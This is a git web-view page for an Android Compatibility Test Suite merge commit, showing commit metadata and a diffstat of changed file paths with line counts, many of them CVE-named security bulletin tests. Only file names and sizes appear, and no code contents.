summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-09-23 09:56:18 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-09-23 09:56:18 +0000
commitf7620885b58f458c3c59fa9cae27e4435a7c1a0e (patch)
tree690c85c0e496f770ed0416e6b56dbffdbcaecd2b
parentbe9166234435d5eb5c2c58730380c3d2e171b0f0 (diff)
parentfb012628905ee3b3a1369bcfda2bf6c83a7b311e (diff)
downloadcts-android13-mainline-scheduling-release.tar.gz
Snap for 9098257 from fb012628905ee3b3a1369bcfda2bf6c83a7b311e to mainline-scheduling-releaseaml_sch_331113000aml_sch_331111000android13-mainline-scheduling-release
Change-Id: Id996ab5b7cfb4089ac10df8db52e88ff3af0e46b
-rw-r--r--apps/CameraITS/config.yml8
-rw-r--r--apps/CameraITS/tests/its_base_test.py2
-rw-r--r--apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py9
-rw-r--r--apps/CameraITS/tests/scene1_2/test_param_shading_mode.py14
-rw-r--r--apps/CameraITS/tests/scene2_a/test_auto_flash.py196
-rw-r--r--apps/CameraITS/tests/scene2_a/test_num_faces.py6
-rw-r--r--apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py305
-rw-r--r--apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py2
-rw-r--r--apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py2
-rw-r--r--apps/CameraITS/tests/scene3/test_edge_enhancement.py11
-rw-r--r--apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py25
-rw-r--r--apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py36
-rw-r--r--apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py12
-rw-r--r--apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py12
-rw-r--r--apps/CameraITS/tests/scene6/test_zoom.py27
-rw-r--r--apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py8
-rw-r--r--apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py10
-rwxr-xr-xapps/CameraITS/tools/run_all_tests.py6
-rw-r--r--apps/CameraITS/utils/its_session_utils.py128
-rw-r--r--apps/CameraITS/utils/opencv_processing_utils.py9
-rw-r--r--apps/CameraITS/utils/video_processing_utils.py19
-rw-r--r--apps/CtsVerifier/Android.bp3
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml472
-rw-r--r--apps/CtsVerifier/res/layout/ble_rssi_precision.xml60
-rw-r--r--apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml66
-rw-r--r--apps/CtsVerifier/res/layout/clipboard_preview.xml80
-rw-r--r--apps/CtsVerifier/res/layout/nan_precision.xml92
-rw-r--r--apps/CtsVerifier/res/layout/uwb_precision.xml51
-rw-r--r--apps/CtsVerifier/res/layout/uwb_short_range.xml51
-rw-r--r--apps/CtsVerifier/res/values/strings.xml52
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java4
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java30
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java11
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java6
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java11
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java173
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java10
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java7
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java37
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java37
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java12
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java13
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java91
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java10
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java12
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java7
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java6
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java122
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java115
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java21
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java115
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java13
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java4
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java2
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java187
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java7
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java12
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java3
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java5
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java49
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java163
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java23
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java1
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java113
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java140
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java44
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java52
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java271
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS4
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java60
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java100
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java95
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java42
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java6
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS3
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java4
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java4
-rw-r--r--apps/MainlineModuleDetector/OWNERS3
-rw-r--r--apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java49
-rw-r--r--apps/PermissionApp/Android.bp2
-rw-r--r--common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java33
-rw-r--r--common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java12
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java178
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java6
-rw-r--r--common/device-side/util-axt/OWNERS2
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java107
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java256
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java14
-rw-r--r--common/device-side/util/OWNERS2
-rw-r--r--hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java112
-rw-r--r--hostsidetests/appsecurity/res/apexsigverify/README.md2
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java2
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java3
-rw-r--r--hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp4
-rw-r--r--hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp4
-rw-r--r--hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java3
-rw-r--r--hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java18
-rw-r--r--hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java11
-rw-r--r--hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java5
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/Android.bp1
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml2
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java14
-rw-r--r--hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java20
-rw-r--r--hostsidetests/devicepolicy/app/ManagedProfile/Android.bp1
-rw-r--r--hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml2
-rw-r--r--hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java6
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java16
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java8
-rw-r--r--hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java3
-rwxr-xr-xhostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java42
-rw-r--r--hostsidetests/edi/OWNERS7
-rw-r--r--hostsidetests/media/bitstreams/AndroidTest.xml10
-rw-r--r--hostsidetests/scopedstorage/Android.bp12
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java4
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java82
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java11
-rw-r--r--hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java10
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java42
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java11
-rw-r--r--hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java20
-rw-r--r--hostsidetests/security/src/android/security/cts/KernelConfigTest.java3
-rw-r--r--hostsidetests/security/src/android/security/cts/SELinuxHostTest.java42
-rw-r--r--hostsidetests/securitybulletin/Android.bp3
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_39623.oggbin0 -> 1001211 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2022_22082.dsfbin0 -> 28135 bytes
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp36
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp99
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java35
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java54
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java66
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java13
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java14
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java20
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java10
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java8
-rwxr-xr-xhostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java17
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java10
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java7
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java48
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java5
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java57
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java74
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java73
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java8
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java6
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java9
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java71
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java60
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java54
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java50
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java60
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java12
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java69
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java19
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java11
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java12
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java10
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java143
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java143
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java367
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java25
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml1
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp (renamed from apps/MainlineModuleDetector/Android.bp)31
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml48
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml19
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java25
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java122
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java85
